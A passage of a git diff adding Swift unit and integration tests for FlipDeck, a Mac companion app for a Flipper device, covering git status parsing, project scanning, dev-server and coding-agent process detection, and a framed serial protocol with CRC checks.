title: "old") + let warning = FDEvent(timestamp: .at(99_000), source: .system, type: "x", severity: .warning, title: "warn") + XCTAssertTrue(AttentionBuilder.build(state: EngineState(), events: [old, warning], now: .at(100_000)).isEmpty) + } +} diff --git a/mac/Tests/FlipDeckCoreTests/GitTests.swift b/mac/Tests/FlipDeckCoreTests/GitTests.swift new file mode 100644 index 0000000..0ea63c1 --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/GitTests.swift @@ -0,0 +1,164 @@ +import XCTest +@testable import FlipDeckCore + +final class GitStatusParserTests: XCTestCase { + func testParsesBranchUpstreamAndCounts() { + let output = [ + "# branch.oid 1234567890abcdef1234567890abcdef12345678", + "# branch.head main", + "# branch.upstream origin/main", + "# branch.ab +2 -3", + "1 .M N... 100644 100644 100644 abc abc src/a.swift", + "1 A. N... 000000 100644 100644 000 abc src/b.swift", + "u UU N... 100644 100644 100644 100644 a b c conflict.txt", + "? new file with spaces.txt", + "? other.txt", + "", + ].joined(separator: "\0") + let status = GitStatusParser.parse(output) + XCTAssertEqual(status.branch, "main") + XCTAssertEqual(status.headOID, "1234567890abcdef1234567890abcdef12345678") + XCTAssertEqual(status.upstream, "origin/main") + XCTAssertEqual(status.ahead, 2) + XCTAssertEqual(status.behind, 3) + XCTAssertEqual(status.changedCount, 2) + XCTAssertEqual(status.conflictedCount, 1) + XCTAssertEqual(status.untrackedCount, 2) + XCTAssertTrue(status.isDirty) + } + + func testDetachedAndInitial() { + let status = GitStatusParser.parse("# branch.oid (initial)\0# branch.head (detached)\0") + XCTAssertNil(status.branch) + XCTAssertNil(status.headOID) + XCTAssertNil(status.ahead) + XCTAssertFalse(status.isDirty) + } + + func testLastCommit() { + let commit = GitStatusParser.parseLastCommit("abc123\u{0}1700000000\u{0}Fix: the | thing\n") + XCTAssertEqual(commit?.oid, "abc123") + XCTAssertEqual(commit?.subject, "Fix: the | thing") + XCTAssertEqual(commit?.date, Date(timeIntervalSince1970: 1_700_000_000)) + XCTAssertNil(GitStatusParser.parseLastCommit("")) + } + + func testRemoteURLCredentialsAreStripped() { + XCTAssertEqual(GitStatusParser.sanitizeRemoteURL("https://user:ghp_secret@github.com/o/r.git\n"), "https://github.com/o/r.git") + XCTAssertEqual(GitStatusParser.sanitizeRemoteURL("https://github.com/o/r.git"), "https://github.com/o/r.git") + XCTAssertEqual(GitStatusParser.sanitizeRemoteURL("git@github.com:o/r.git"), "git@github.com:o/r.git") + // An @ in the path (not userinfo) must be left alone. + XCTAssertEqual(GitStatusParser.sanitizeRemoteURL("https://host/a@b/r.git"), "https://host/a@b/r.git") + } +} + +/// Runs against real `git` in temporary repositories. +final class GitClientIntegrationTests: XCTestCase { + let client = GitClient(runner: ProcessCommandRunner()) + + func testCleanDirtyAheadBehind() async throws { + let tmp = TempDir() + let remote = tmp.mkdir("remote.git") + try sh("git init -q --bare -b main .", cwd: remote) + let repo = tmp.mkdir("repo") + try makeGitRepo(repo) + try commit(repo, message: "first") + try sh("git remote add origin '\(remote)' && git push -q -u origin main", cwd: repo) + + var status = try await client.status(at: repo) + XCTAssertEqual(status.branch, "main") + XCTAssertEqual(status.upstream, "origin/main") + XCTAssertEqual(status.ahead, 0) + XCTAssertEqual(status.behind, 0) + XCTAssertFalse(status.isDirty) + + try commit(repo, message: "second") + try sh("echo x > untracked.txt && echo y >> README.md", cwd: repo) + status = try await client.status(at: repo) + XCTAssertEqual(status.ahead, 1) + XCTAssertEqual(status.untrackedCount, 1) + XCTAssertEqual(status.changedCount, 1) + XCTAssertTrue(status.isDirty) + + let last = try await client.lastCommit(at: repo) + XCTAssertEqual(last?.subject, "second") + XCTAssertEqual(last?.oid, status.headOID) + + let url = try await client.remoteURL(at: repo) + XCTAssertEqual(url, remote) + } + + func testEmptyRepositoryHasNoCommit() async throws { + let tmp = TempDir() + let repo = tmp.mkdir("empty") + try makeGitRepo(repo) + let status = try await client.status(at: repo) + XCTAssertEqual(status.branch, "main") + XCTAssertNil(status.headOID) + let last = try await client.lastCommit(at: repo) + XCTAssertNil(last) + } + + func testNotARepositoryThrows() async { + let tmp = TempDir() + do { + _ = try await client.status(at: tmp.mkdir("plain")) + XCTFail("expected failure") + } catch { + XCTAssertTrue(String(describing: error).lowercased().contains("not a git repository")) + } + } +} + +final class ProjectScannerTests: XCTestCase { + func testFindsReposWithinDepthAndSkipsNoise() throws { + let tmp = TempDir() + let root = tmp.mkdir("Developer") + tmp.mkdir("Developer/app/.git") + tmp.mkdir("Developer/app/packages/inner/.git") // inside a project: not descended + tmp.mkdir("Developer/clients/acme/site/.git") // depth 3: found + tmp.mkdir("Developer/a/b/c/too-deep/.git") // depth 4: not found + tmp.mkdir("Developer/node_modules/pkg/.git") // skipped directory + tmp.mkdir("Developer/.hidden/repo/.git") // hidden: skipped + tmp.write("Developer/scratch/package.json", "{}") // manifest-only project at depth 1 + tmp.write("Developer/clients/notes/package.json", "{}") // manifest-only below depth 1: ignored + try FileManager.default.createSymbolicLink(atPath: root + "/loop", withDestinationPath: root) + + let found = ProjectScanner().scan(roots: [root]) + let relative = Set(found.map { String($0.path.dropFirst(root.count + 1)) }) + XCTAssertEqual(relative, ["app", "clients/acme/site", "scratch"]) + XCTAssertEqual(found.first { $0.path.hasSuffix("scratch") }?.isGitRepository, false) + } + + func testRootThatIsARepoAndDuplicateRoots() { + let tmp = TempDir() + let repo = tmp.mkdir("repo") + tmp.mkdir("repo/.git") + let found = ProjectScanner().scan(roots: [repo, repo + "/", tmp.path + "/missing"]) + XCTAssertEqual(found.map(\.path), [repo]) + } + + func testLimits() { + let tmp = TempDir() + for i in 0..<10 { tmp.mkdir("root/p\(i)/.git") } + let scanner = ProjectScanner(limits: .init(maxDepth: 3, maxProjects: 4, maxDirectoriesVisited: 1000)) + XCTAssertEqual(scanner.scan(roots: [tmp.path + "/root"]).count, 4) + } + + func testFrameworkDetection() { + let tmp = TempDir() + tmp.write("next/package.json", #"{"dependencies":{"next":"15","react":"19"}}"#) + tmp.write("next/pnpm-lock.yaml", "") + tmp.write("vite/package.json", #"{"devDependencies":{"vite":"6"},"packageManager":"yarn@4.1.0"}"#) + tmp.write("rust/Cargo.toml", "") + tmp.write("django/pyproject.toml", "") + tmp.write("django/manage.py", "") + tmp.write("broken/package.json", "{not json") + + XCTAssertEqual(FrameworkDetector.detect(at: tmp.path + "/next"), ProjectRuntime(framework: "Next.js", runtime: "Node", packageManager: "pnpm")) + XCTAssertEqual(FrameworkDetector.detect(at: tmp.path + "/vite"), ProjectRuntime(framework: "Vite", runtime: "Node", packageManager: "yarn")) + XCTAssertEqual(FrameworkDetector.detect(at: tmp.path + "/rust"), ProjectRuntime(framework: nil, runtime: "Rust", packageManager: "cargo")) + XCTAssertEqual(FrameworkDetector.detect(at: tmp.path + "/django").framework, "Django") + XCTAssertEqual(FrameworkDetector.detect(at: tmp.path + "/broken"), ProjectRuntime(framework: nil, runtime: "Node", packageManager: nil)) + } +} diff --git a/mac/Tests/FlipDeckCoreTests/InteropTests.swift b/mac/Tests/FlipDeckCoreTests/InteropTests.swift new file mode 100644 index 0000000..2d67daf --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/InteropTests.swift @@ -0,0 +1,111 @@ +import XCTest +@testable import FlipDeckCore +#if canImport(Glibc) +import Glibc +#endif + +/// The Mac's Swift session against the Flipper's real C protocol/state code +/// (src/fd_state.c, compiled into src/tests/host/fd_sim.c) over pipes. +final class InteropTests: XCTestCase { + static var repoRoot: URL { + URL(fileURLWithPath: #filePath).deletingLastPathComponent().deletingLastPathComponent() + .deletingLastPathComponent().deletingLastPathComponent() + } + + func buildSimulator() throws -> String { + guard let cc = ToolLocator.find("cc") ?? ToolLocator.find("clang") ?? ToolLocator.find("gcc") else { + throw XCTSkip("no C compiler") + } + let src = Self.repoRoot.appendingPathComponent("src").path + let output = FileManager.default.temporaryDirectory.appendingPathComponent("fd_sim-\(UUID().uuidString)").path + let result = try ProcessCommandRunner.runSync(cc, [ + "-std=c11", "-O1", "-I", src, "-o", output, + src + "/tests/host/fd_sim.c", src + "/fd_state.c", src + "/fd_proto.c", + ], cwd: nil, timeout: 60) + guard result.succeeded else { throw XCTSkip("couldn't build fd_sim: \(result.stderr)") } + return output + } + + func testSwiftSessionAgainstFlipperStateMachine() async throws { + let simulator = try buildSimulator() + defer { try? FileManager.default.removeItem(atPath: simulator) } + + let process = Process() + process.executableURL = URL(fileURLWithPath: simulator) + let stdin = Pipe(), stdout = Pipe(), stderr = Pipe() + process.standardInput = stdin + process.standardOutput = stdout + process.standardError = stderr + try process.run() + + let transport = LoopbackTransport() + transport.onSend = { data in stdin.fileHandleForWriting.write(data) } + stdout.fileHandleForReading.readabilityHandler = { handle in + let data = handle.availableData + if !data.isEmpty { transport.emit(.received(data)) } + } + let report = LockedString("") + stderr.fileHandleForReading.readabilityHandler = { handle in + let data = handle.availableData + if !data.isEmpty { report.value += String(decoding: data, as: UTF8.self) } + } + + let performed = Counter() + let seen = Counter() + let session = FlipperSession(transport: transport, hostName: "Studio", log: Logger("t", sink: NullLogSink())) + let openAction = FDAction(kind: .openOnMac, target: .project(path: "/dev/flipdeck"), source: .system) + await session.setHandlers( + action: { action in + performed.add(action.id) + return .success("Opened in Cursor") + }, + seen: { seen.add($0) }, + status: nil + ) + await session.start() + + var state = EngineState() + state.projects = [project("/dev/flipdeck", name: "flipdeck")] + state.servers = [server(pid: 42, port: 5173, projectID: "/dev/flipdeck")] + let event = FDEvent(id: "ev-1", timestamp: Date(), source: .vercel, projectID: "/dev/flipdeck", projectName: "flipdeck", + type: .deploymentFailed, severity: .error, title: "Production deployment failed", message: "Type error", + actions: [FDAction(kind: .openLogs, target: .url("https://vercel.com/a/b/c"), source: .vercel)]) + let snapshot = FlipperSnapshotBuilder.build(state: state, attention: [], events: [event]) + await session.update(snapshot: snapshot, machine: MachineStatus(hostName: "Studio", osVersion: "15", cpuUsage: 0.25)) + + transport.emit(.connected(peerName: "sim", maxChunk: 182)) + + // Handshake → snapshot → Flipper commits → Flipper requests OPEN → Mac executes → RES. + try await waitFor(report, contains: "RESULT=1|Opened in Cursor") + XCTAssertEqual(performed.all, [openAction.id]) + XCTAssertTrue(report.value.contains("COMMITTED=1 PROJECTS=1"), report.value) + XCTAssertTrue(report.value.contains("FIRST=flipdeck"), report.value) + + // Alert → Flipper shows it and dismisses it → Mac acknowledges the event. + await session.alert(event) + try await waitFor(report, contains: "ALERT=") + try await waitFor({ seen.all == ["ev-1"] }) + + let status = await session.status + XCTAssertEqual(status.link, .ready(appVersion: "0.1.0")) + XCTAssertEqual(status.framesDropped, 0) + + stdin.fileHandleForWriting.closeFile() + process.waitUntilExit() + stdout.fileHandleForReading.readabilityHandler = nil + stderr.fileHandleForReading.readabilityHandler = nil + XCTAssertTrue(report.value.contains("FRAMES_BAD=0"), report.value) + } + + func waitFor(_ report: LockedString, contains text: String, timeout: TimeInterval = 10) async throws { + try await waitFor({ report.value.contains(text) }, timeout: timeout, message: "waiting for \(text); got:\n\(report.value)") + } + + func waitFor(_ condition: @escaping () -> Bool, timeout: TimeInterval = 10, message: String = "condition") async throws { + let deadline = Date().addingTimeInterval(timeout) + while !condition() { + if Date() > deadline { XCTFail("timed out \(message)"); return } + try await Task.sleep(nanoseconds: 20_000_000) + } + } +} diff --git a/mac/Tests/FlipDeckCoreTests/MonitoringTests.swift b/mac/Tests/FlipDeckCoreTests/MonitoringTests.swift new file mode 100644 index 0000000..1ad5e0b --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/MonitoringTests.swift @@ -0,0 +1,228 @@ +import XCTest +@testable import FlipDeckCore + +final class ParserTests: XCTestCase { + func testPSParsing() { + let output = """ + 501 300 1 Wed Sep 24 03:53:00 2026 /opt/homebrew/bin/node /Users/me/Developer/web/node_modules/.bin/vite --port 5173 + 502 501 501 Thu Sep 4 11:02:09 2026 claude + 1 0 0 Mon Sep 1 00:00:00 2026 /sbin/launchd + garbage line + """ + let records = PSParser.parse(output) + XCTAssertEqual(records.count, 3) + XCTAssertEqual(records[0].pid, 501) + XCTAssertEqual(records[0].ppid, 300) + XCTAssertEqual(records[0].uid, 1) + XCTAssertEqual(records[0].args, "/opt/homebrew/bin/node /Users/me/Developer/web/node_modules/.bin/vite --port 5173") + XCTAssertEqual(records[0].executableName, "node") + XCTAssertEqual(records[1].executableName, "claude") + + var components = DateComponents() + (components.year, components.month, components.day, components.hour, components.minute, components.second) = (2026, 9, 4, 11, 2, 9) + XCTAssertEqual(records[1].startedAt, Calendar.current.date(from: components)) + } + + func testLsofListenerParsing() { + let output = """ + p501 + f22 + cnode + n*:5173 + f23 + n[::1]:5173 + p777 + f4 + cpython3.12 + n127.0.0.1:8000 + p900 + cControlCe + n*:7000 + """ + let listeners = LsofParser.parseListeners(output) + XCTAssertEqual(listeners.map(\.port), [5173, 8000, 7000]) + XCTAssertEqual(listeners[0].host, "*") + XCTAssertEqual(listeners[1].command, "python3.12") + XCTAssertEqual(listeners[1].host, "127.0.0.1") + } + + func testLsofCwdParsing() { + let cwds = LsofParser.parseCwds("p10\nfcwd\nn/Users/me/Developer/web\np11\nfcwd\nn/\n") + XCTAssertEqual(cwds, [10: "/Users/me/Developer/web", 11: "/"]) + } +} + +final class ClassificationTests: XCTestCase { + func record(_ pid: Int32, _ args: String, ppid: Int32 = 1, uid: UInt32 = 501) -> ProcessRecord { + ProcessRecord(pid: pid, ppid: ppid, uid: uid, startedAt: .at(1_000), args: args) + } + + func testClassifiesDevProcesses() { + let cases: [(String, DevProcessKind?, String?)] = [ + ("node /p/node_modules/.bin/vitest run", .testRunner, "vitest"), + ("npm test", .testRunner, "npm test"), + ("pnpm run build", .build, "pnpm build"), + ("python3 -m pytest -q", .testRunner, "pytest"), + ("cargo test --all", .testRunner, "cargo test"), + ("/usr/bin/swift test", .testRunner, "swift test"), + ("node /p/node_modules/next/dist/bin/next build", .build, "next build"), + ("tsc --watch", .build, "tsc --watch"), + ("docker compose up", .container, "docker"), + ("npm install", .packageManager, "npm install"), + ("/Applications/Safari.app/Contents/MacOS/Safari", nil, nil), + ("node server.js", nil, nil), + ("npm run dev", nil, nil), + ] + for (args, kind, label) in cases { + let match = ProcessClassifier.classify(record(1, args)) + XCTAssertEqual(match?.kind, kind, args) + XCTAssertEqual(match?.label, label, args) + } + } + + func testWrapperCollapseKeepsMostSpecific() { + let parent = record(10, "npm test") + let child = record(11, "node /p/node_modules/.bin/vitest", ppid: 10) + let other = record(20, "cargo build") + let matches = [parent, child, other].compactMap { r in ProcessClassifier.classify(r).map { (r, $0) } } + XCTAssertEqual(ProcessClassifier.collapseWrappers(matches).map(\.0.pid), [11, 20]) + } + + func testServerFramework() { + XCTAssertEqual(ProcessClassifier.serverFramework(record(1, "node /p/node_modules/.bin/vite")), "Vite") + XCTAssertEqual(ProcessClassifier.serverFramework(record(1, "next-server (v15.1.0)")), "Next.js") + XCTAssertEqual(ProcessClassifier.serverFramework(record(1, "python3 manage.py runserver")), "Django") + XCTAssertEqual(ProcessClassifier.serverFramework(record(1, "/usr/local/bin/python3 -m http.server 8000")), "http.server") + XCTAssertEqual(ProcessClassifier.serverFramework(record(1, "node dist/index.js")), "Node") + XCTAssertEqual(ProcessClassifier.serverFramework(record(1, "/Applications/Docker.app/Contents/MacOS/com.docker.backend")), "Docker") + } + + func testDevServerDetection() { + let records = [ + record(100, "node /Users/me/dev/web/node_modules/.bin/vite"), + record(101, "/Users/me/dev/api/target/debug/api"), // unknown binary, but runs from a project + record(102, "/System/Library/CoreServices/ControlCenter.app/Contents/MacOS/ControlCenter"), + record(103, "node other-users-server.js", uid: 999), // someone else's process + record(104, "node privileged.js"), + ] + let listeners = [ + Listener(pid: 100, command: "node", host: "*", port: 5173), + Listener(pid: 100, command: "node", host: "*", port: 24678), + Listener(pid: 101, command: "api", host: "127.0.0.1", port: 8080), + Listener(pid: 102, command: "ControlCe", host: "*", port: 7000), + Listener(pid: 103, command: "node", host: "*", port: 3000), + Listener(pid: 104, command: "node", host: "*", port: 80), + ] + let cwds: [Int32: String] = [100: "/Users/me/dev/web", 101: "/Users/me/dev/api", 102: "/"] + let projects = [project("/Users/me/dev/web"), project("/Users/me/dev/api")] + let servers = DevServerDetector.detect(records: records, listeners: listeners, cwds: cwds, currentUID: 501, associator: ProjectAssociator(projects: projects)) + + XCTAssertEqual(servers.map(\.pid), [100, 101]) + XCTAssertEqual(servers[0].ports, [5173, 24678]) + XCTAssertEqual(servers[0].primaryPort, 5173) + XCTAssertEqual(servers[0].framework, "Vite") + XCTAssertEqual(servers[0].projectID, "/Users/me/dev/web") + XCTAssertEqual(servers[1].projectID, "/Users/me/dev/api") + XCTAssertEqual(servers[0].url, "http://localhost:5173") + } + + func testProjectAssociationPrefersNestedAndChecksBoundaries() { + let associator = ProjectAssociator(projects: [project("/dev/mono"), project("/dev/mono/apps/web"), project("/dev/app")]) + XCTAssertEqual(associator.projectID(cwd: "/dev/mono/apps/web/src", args: ""), "/dev/mono/apps/web") + XCTAssertEqual(associator.projectID(cwd: "/dev/mono/packages", args: ""), "/dev/mono") + XCTAssertNil(associator.projectID(cwd: "/dev/application", args: "")) // prefix but not a path boundary + XCTAssertEqual(associator.projectID(cwd: "/", args: "node /dev/app/server.js"), "/dev/app") + XCTAssertNil(associator.projectID(cwd: nil, args: "node /dev/apple/x.js")) + } +} + +final class AgentProviderTests: XCTestCase { + func record(_ pid: Int32, _ args: String, ppid: Int32 = 1, uid: UInt32 = 501) -> ProcessRecord { + ProcessRecord(pid: pid, ppid: ppid, uid: uid, startedAt: .at(1_000), args: args) + } + + func testClaudeCodeDetection() { + let records = [ + record(10, "claude"), + record(11, "node /opt/homebrew/lib/node_modules/@anthropic-ai/claude-code/cli.js --resume"), + record(12, "/Users/me/.local/share/claude/versions/2.0.14 -p hi"), + record(13, "/Applications/Claude.app/Contents/MacOS/Claude"), + record(14, "/Applications/Claude.app/Contents/Frameworks/claude"), + record(15, "claude", uid: 999), + record(16, "claude-helper --x"), + record(17, "node mcp-server.js", ppid: 10), + ] + let sessions = AgentProviders.claudeCode.sessions(in: records, currentUID: 501) + XCTAssertEqual(sessions.map(\.pid), [10, 11, 12]) + } + + func testCodexLauncherAndBinaryAreOneSession() { + let records = [ + record(20, "node /opt/homebrew/lib/node_modules/@openai/codex/bin/codex.js"), + record(21, "/opt/homebrew/lib/node_modules/@openai/codex/vendor/aarch64-apple-darwin/codex/codex", ppid: 20), + record(30, "codex exec 'fix tests'"), + ] + XCTAssertEqual(AgentProviders.codex.sessions(in: records, currentUID: 501).map(\.pid), [20, 30]) + } + + func testCapabilitiesAreHonest() { + for provider in AgentProviders.all { + XCTAssertTrue(provider.capabilities.contains(.running)) + XCTAssertFalse(provider.capabilities.contains(.exitStatus), "\(provider.id) can't know exit status from ps") + XCTAssertFalse(provider.capabilities.contains(.waitingState)) + } + } +} + +/// Real processes: a listening socket running from inside a project, and a +/// fake `claude` binary. Requires `ps`, `lsof` and `perl`. +final class ProcessScanIntegrationTests: XCTestCase { + func testDetectsRealListenerAndAgent() async throws { + guard ToolLocator.find("lsof") != nil, ToolLocator.find("perl") != nil else { + throw XCTSkip("lsof/perl not available") + } + let tmp = TempDir() + let projectPath = tmp.mkdir("myapp") + let bin = tmp.mkdir("bin") + try sh("cp \"$(command -v sleep)\" '\(bin)/claude'") + + let portFile = tmp.path + "/port" + let server = Process() + server.executableURL = URL(fileURLWithPath: ToolLocator.find("perl")!) + server.arguments = ["-MIO::Socket::INET", "-e", + "my $s = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Listen => 5) or die; open(my $f, '>', '\(portFile)'); print $f $s->sockport; close $f; sleep 30"] + server.currentDirectoryURL = URL(fileURLWithPath: projectPath) + let agent = Process() + agent.executableURL = URL(fileURLWithPath: bin + "/claude") + agent.arguments = ["30"] + agent.currentDirectoryURL = URL(fileURLWithPath: projectPath) + try server.run() + try agent.run() + defer { kill(server.processIdentifier, SIGKILL); kill(agent.processIdentifier, SIGKILL) } + + var port: Int? + for _ in 0..<50 where port == nil { + port = (try? String(contentsOfFile: portFile, encoding: .utf8)).flatMap { Int($0) } + if port == nil { try await Task.sleep(nanoseconds: 100_000_000) } + } + let expectedPort = try XCTUnwrap(port) + + let scanner = ProcessScanner(runner: ProcessCommandRunner()) + let records = try await scanner.processTable() + let listeners = try await scanner.listeners() + XCTAssertTrue(listeners.contains { $0.pid == server.processIdentifier && $0.port == expectedPort }) + + let cwds = await scanner.cwds(for: [server.processIdentifier, agent.processIdentifier]) + XCTAssertEqual(cwds[server.processIdentifier], projectPath) + + let associator = ProjectAssociator(projects: [project(projectPath)]) + let servers = DevServerDetector.detect(records: records, listeners: listeners, cwds: cwds, currentUID: scanner.currentUID, associator: associator) + let detected = try XCTUnwrap(servers.first { $0.pid == server.processIdentifier }) + XCTAssertEqual(detected.primaryPort, expectedPort) + XCTAssertEqual(detected.projectID, projectPath) + XCTAssertNotNil(detected.startedAt) + + let sessions = AgentProviders.claudeCode.sessions(in: records, currentUID: scanner.currentUID) + XCTAssertTrue(sessions.contains { $0.pid == agent.processIdentifier }) + } +} diff --git a/mac/Tests/FlipDeckCoreTests/ProtocolTests.swift b/mac/Tests/FlipDeckCoreTests/ProtocolTests.swift new file mode 100644 index 0000000..cf629f7 --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/ProtocolTests.swift @@ -0,0 +1,170 @@ +import XCTest +@testable import FlipDeckCore + +final class FrameCodecTests: XCTestCase { + func testCRCCheckValue() { + // The standard CRC-16/CCITT-FALSE check value. + XCTAssertEqual(CRC16.ccittFalse(Array("123456789".utf8)), 0x29B1) + } + + func testRoundTrip() throws { + let frame = Frame("PRJ", ["p1", "flipdeck", "main", "c", "0", "0", "3000", "r", "0"]) + let data = FrameCodec.encode(frame) + XCTAssertEqual(data.last, 0x0A) + var decoder = FrameDecoder() + XCTAssertEqual(try decoder.feed(data).map { try $0.get() }, [frame]) + } + + func testEmptyFieldsSurvive() throws { + let frame = Frame("ACT", ["p1", "a1", "OPEN", "", ""]) + var decoder = FrameDecoder() + XCTAssertEqual(try decoder.feed(FrameCodec.encode(frame)).first?.get(), frame) + } + + func testSanitize() { + XCTAssertEqual(FrameCodec.sanitize("Café | déjà vu * 🚀\nnext", maxLength: 100), "Cafe / deja vu + ? next") + XCTAssertEqual(FrameCodec.sanitize(" lots of\t\tspace ", maxLength: 100), "lots of space") + XCTAssertEqual(FrameCodec.sanitize("abcdefghij", maxLength: 4), "abcd") + XCTAssertEqual(FrameCodec.sanitize("“smart” – quotes…", maxLength: 100), "\"smart\" - quotes.") + } + + func testEncoderShortensLongestFieldToFit() throws { + let frame = Frame("ALR", ["e1", "e", "proj", String(repeating: "t", count: 100), String(repeating: "m", count: 200)]) + let data = FrameCodec.encode(frame) + XCTAssertLessThanOrEqual(data.count, FDP.maxFrameLength) + var decoder = FrameDecoder() + let decoded = try XCTUnwrap(decoder.feed(data).first).get() + XCTAssertEqual(decoded.fields[3].count, 100) + XCTAssertTrue(decoded.fields[4].hasPrefix("mmm")) + } + + func testDecoderHandlesArbitraryChunking() throws { + let frames = (0..<20).map { Frame("EVT", ["e\($0)", "i", "12:0\($0 % 10)", "proj", "Event number \($0)"]) } + let stream = frames.map(FrameCodec.encode).reduce(Data(), +) + for chunkSize in [1, 3, 20, 185, 243, stream.count] { + var decoder = FrameDecoder() + var decoded: [Frame] = [] + var offset = 0 + while offset < stream.count { + let end = min(offset + chunkSize, stream.count) + decoded += try decoder.feed(stream.subdata(in: offset.. FrameError? in + if case .failure(let error) = result { return error } + return nil + } + // The CRC is checked before the type, so a bad-CRC lowercase frame is a checksum error. + XCTAssertEqual(errors, [.badChecksum, .tooLong, .nonPrintable, .malformed, .badChecksum]) + XCTAssertEqual(try results.last?.get(), Frame("PING", ["1", "2"])) + } + + /// Golden vectors shared with the Flipper's C implementation. + func testGoldenVectors() throws { + let url = URL(fileURLWithPath: #filePath) + .deletingLastPathComponent().deletingLastPathComponent().deletingLastPathComponent().deletingLastPathComponent() + .appendingPathComponent("docs/protocol-vectors.txt") + let text = try String(contentsOf: url, encoding: .utf8) + var checked = 0 + for line in text.split(separator: "\n") where !line.hasPrefix("#") && !line.isEmpty { + // "OK " or "BAD " + let parts = line.split(separator: " ", maxSplits: 1) + let kind = parts[0] + let rest = String(parts[1]) + if kind == "OK" { + let result = FrameCodec.decodeLine(Array(rest.utf8)) + let frame = try result.get() + XCTAssertEqual(FrameCodec.encode(frame), Data((rest + "\n").utf8), rest) + } else { + let reasonAndFrame = rest.split(separator: " ", maxSplits: 1) + let bytes: [UInt8] = reasonAndFrame.count > 1 ? Array(reasonAndFrame[1].utf8) : [] + let result = FrameCodec.decodeLine(bytes) + guard case .failure(let error) = result else { XCTFail("expected failure: \(line)"); continue } + XCTAssertEqual(String(describing: error), String(reasonAndFrame[0]), String(line)) + } + checked += 1 + } + XCTAssertGreaterThan(checked, 5) + } +} + +final class SnapshotBuilderTests: XCTestCase { + func bigState() -> EngineState { + var state = EngineState() + for i in 0..<30 { + var p = project("/dev/project-\(i)", name: "project-\(i)-with-a-rather-long-name") + p.git = GitStatus(branch: "feature/very-long-branch-name-\(i)-and-more", headOID: "x", ahead: i, behind: 0, changedCount: i % 2, + lastCommit: CommitInfo(oid: "x", subject: "s", date: .at(TimeInterval(i)))) + state.projects.append(p) + } + state.servers = (0..<12).map { server(pid: Int32(100 + $0), port: 3000 + $0, projectID: "/dev/project-\($0 + 5)") } + state.agents = (0..<9).map { AgentSession(providerID: "codex", providerName: "Codex", pid: Int32(500 + $0), startedAt: .at(1), projectID: "/dev/project-1", command: "codex") } + return state + } + + func testRespectsLimitsAndFrameSize() { + let state = bigState() + let events = (0..<30).map { FDEvent(id: "ev\($0)", timestamp: .at(TimeInterval($0) * 60), source: .process, projectName: "project-\($0)", type: .serverStarted, severity: .info, title: String(repeating: "Title ", count: 20), actions: ActionCatalog.actions(for: state.servers[0])) } + let snapshot = FlipperSnapshotBuilder.build(state: state, attention: [], events: events, timeZone: TimeZone(identifier: "UTC")!) + let counts = Dictionary(grouping: snapshot.records, by: \.type).mapValues(\.count) + XCTAssertEqual(counts["SUM"], 1) + XCTAssertEqual(counts["PRJ"], FlipperLimits.projects) + XCTAssertEqual(counts["SVC"], FlipperLimits.services) + XCTAssertEqual(counts["AGT"], FlipperLimits.agents) + XCTAssertEqual(counts["EVT"], FlipperLimits.events) + XCTAssertLessThanOrEqual(counts["ACT"] ?? 0, FlipperLimits.actions) + XCTAssertEqual(snapshot.records.first { $0.type == "SUM" }?.fields, ["0", "30", "12", "9"]) + for record in snapshot.records { + XCTAssertLessThanOrEqual(FrameCodec.encode(record).count, FDP.maxFrameLength) + } + XCTAssertEqual(snapshot.actions.count, counts["ACT"]) + // No Mac-only actions on the wire. + XCTAssertFalse(snapshot.actions.values.contains { !$0.kind.availableRemotely }) + XCTAssertEqual(snapshot.records.first { $0.type == "EVT" }?.fields[2], "00:00") + } + + func testProjectOrderingPutsAttentionThenActiveFirst() { + let state = bigState() + let attention = [AttentionItem(id: "x", severity: .error, projectID: "/dev/project-0", projectName: "p0", title: "Deploy failed", eventID: nil, actions: [])] + let snapshot = FlipperSnapshotBuilder.build(state: state, attention: attention, events: []) + let projects = snapshot.records.filter { $0.type == "PRJ" } + XCTAssertEqual(projects[0].fields[1], FrameCodec.sanitize("project-0-with-a-rather-long-name", maxLength: FlipperLimits.name)) + XCTAssertEqual(projects[0].fields[8], "1") + // Then active projects (servers/agents) by most recent commit: project-16, project-15, ... + XCTAssertTrue(projects[1].fields[1].hasPrefix("project-16")) + XCTAssertEqual(projects[1].fields[6], "3011") + XCTAssertTrue(projects[2].fields[1].hasPrefix("project-15")) + // Idle projects never displace active ones. + XCTAssertFalse(projects.contains { $0.fields[1].hasPrefix("project-29") }) + } + + func testIDsAreStableAcrossBuilds() { + let state = bigState() + let a = FlipperSnapshotBuilder.build(state: state, attention: [], events: []) + let b = FlipperSnapshotBuilder.build(state: state, attention: [], events: []) + XCTAssertEqual(a, b) + XCTAssertTrue(a.records.allSatisfy { $0.type == "SUM" || ($0.fields.first?.count ?? 0) <= FlipperLimits.id }) + } + + func testMachineFrameQuantizes() { + let machine = MachineStatus(hostName: "Mo’s MacBook Pro", osVersion: "15", cpuUsage: 0.234, memoryUsedBytes: 6, memoryTotalBytes: 8, + battery: BatteryStatus(percent: 81, charging: true, onAC: true), networkReachable: true, bootTime: .at(1000)) + XCTAssertEqual(FlipperSnapshotBuilder.machineFrame(machine).fields, ["Mo's MacBook Pro", "25", "75", "81", "1", "1", "1000"]) + XCTAssertEqual(FlipperSnapshotBuilder.machineFrame(MachineStatus(hostName: "h", osVersion: "")).fields, ["h", "-", "-", "-", "-", "-", "-"]) + } +} diff --git a/mac/Tests/FlipDeckCoreTests/SessionTests.swift b/mac/Tests/FlipDeckCoreTests/SessionTests.swift new file mode 100644 index 0000000..39a9749 --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/SessionTests.swift @@ -0,0 +1,252 @@ +import XCTest +@testable import FlipDeckCore + +final class Clock: @unchecked Sendable { + private let lock = NSLock() + private var value: Date + init(_ start: Date) { value = start } + var now: Date { lock.lock(); defer { lock.unlock() }; return value } + func advance(_ seconds: TimeInterval) { lock.lock(); value += seconds; lock.unlock() } +} + +final class Counter: @unchecked Sendable { + private let lock = NSLock() + private var items: [String] = [] + func add(_ item: String) { lock.lock(); items.append(item); lock.unlock() } + var all: [String] { lock.lock(); defer { lock.unlock() }; return items } +} + +final class FlipperSessionTests: XCTestCase { + var transport: LoopbackTransport! + var clock: Clock! + var session: FlipperSession! + var performed: Counter! + var seen: Counter! + + let openAction = FDAction(kind: .openOnMac, target: 